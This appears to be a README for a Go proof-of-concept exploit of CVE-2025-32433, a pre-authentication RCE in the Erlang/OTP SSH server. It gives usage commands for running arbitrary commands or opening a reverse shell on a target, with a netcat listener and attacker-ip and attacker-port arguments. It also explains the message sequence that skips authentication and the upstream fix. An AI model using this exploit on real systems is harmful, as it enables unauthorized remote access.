CVE-2025-32433 PoC — Erlang/OTP 访问控制错误漏洞

Description

Go-based exploit for CVE-2025-32433

介绍

# CVE-2025-32433 Remote Shell
Go-based exploit for CVE-2025-32433 returning a remote bash shell.

Heavily inspired by understanding of exploit derived from [ProDefense's PoC for CVE-2025-32433](https://github.com/ProDefense/CVE-2025-32433).


## Running the Exploit
```
make
```
>  `exploit.exe` is also made available for Windows machines by the cross-compilation Makefile.

then execute the exploit binary in one of 2 ways:

**Command**
```
./exploit <target-ip> <target-port> "<command>"
```
> NOTE: does not return the output of command

**Reverse Shell**
```
nc -lnvp <attacker-port>
```
```
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
```


## Setting Up the Environment
Using `ProDefense`'s Dockerfile, you can set up an environment through the following:
```
docker build -t "cve-2025-32433:Dockerfile" .
```
```
docker run -p 2222:2222 cve-2025-32433:Dockerfile
```
You may then execute the exploit as in the [Running the Exploit](#running-the-exploit) section: e.g.
```
nc -lnvp 4444
```
```
./exploit 127.0.0.1 2222 172.17.0.1 4444
```
> `172.17.0.1` is the default IP for the Docker Host


## Explanation of Exploit

> TL;DR **"The issue is caused by a flaw in the SSH protocol message handling which allows an attacker to send connection protocol messages prior to authentication,"**

Typical SSH Procedure:
```
SSH_MSG_KEXINIT

→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS

→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
```

Exploit Procedure:
1. TCP Connection to Victim
2. SSH Banner Exchange
3. `SSH_MSG_KEXINIT`
4. `SSH_MSG_CHANNEL_OPEN`		(Pre-auth)
5. `SSH_MSG_CHANNEL_REQUEST`	(Pre-auth)  --> contains command payload

> Notice that the entire USERAUTH portion is skipped in the exploit.

### Summary of Messages

Relevant RFCs for SSH Messages:
* [`RFC 4253: The Secure Shell (SSH) Transport Layer Protocol`](https://datatracker.ietf.org/doc/html/rfc4253)
* [`RFC 4254: The Secure Shell (SSH) Connection Protocol`](https://datatracker.ietf.org/doc/html/rfc4254)

#### Message Numbers
![Message Numbers in SSH Transport Layer Protocol](images/transport_layer_protocol_message_numbers.png)

![Message Numbers in SSH Connection Protocol](images/connection_protocol_message_numbers.png)

#### Message Formats
SSH_MSG_KEXINIT

![SSH_MSG_KEXINIT](images/SSH_MSG_KEXINIT_format.png)


SSH_MSG_CHANNEL_OPEN

![SSH_MSG_CHANNEL_OPEN](images/SSH_MSG_CHANNEL_OPEN_format.png)


SSH_MSG_CHANNEL_REQUEST

![SSH_MSG_CHANNEL_REQUEST](images/SSH_MSG_CHANNEL_REQUEST_format.png)


### Other Requirements

String Format (from [`RFC 4251: The Secure Shell (SSH) Protocol Architecture`](https://datatracker.ietf.org/doc/html/rfc4251))

![String](images/string_format.png)


Padding

![Padding](images/padding.png)


### Understanding Fix and Exploit

The following is the fix introduced to the [Erlang OTP Libraries](https://github.com/erlang/otp) in the [`ssh: early RCE fix` commit](https://github.com/erlang/otp/commit/b1924d37fd83c070055beb115d5d6a6a9490b891):

![handle_msg](images/handle_msg.png)

The fix introduces a new `handle_msg` clause that, according to its arguments, catches:
* `Msg`: catch-all variable for any incoming SSH messages not already matched by earlier clauses (like `#ssh_msg_disconnect{}`)
* `#ssh{authenticated = false}`: session state that matches if the connection has not yet been authenticated.

The clause will not catch sessions with `authenticated = true`, which is attached to the session when the server receives a `#ssh_msg_userauth_success{}`:

![authenticated = true](images/authenticated_set_true.png)

which is sent after the success of any of the following authentication methods:

![authentication methods sending `#ssh_msg_userauth_success{}`](images/ssh_msg_userauth_success.png)

文件快照

备注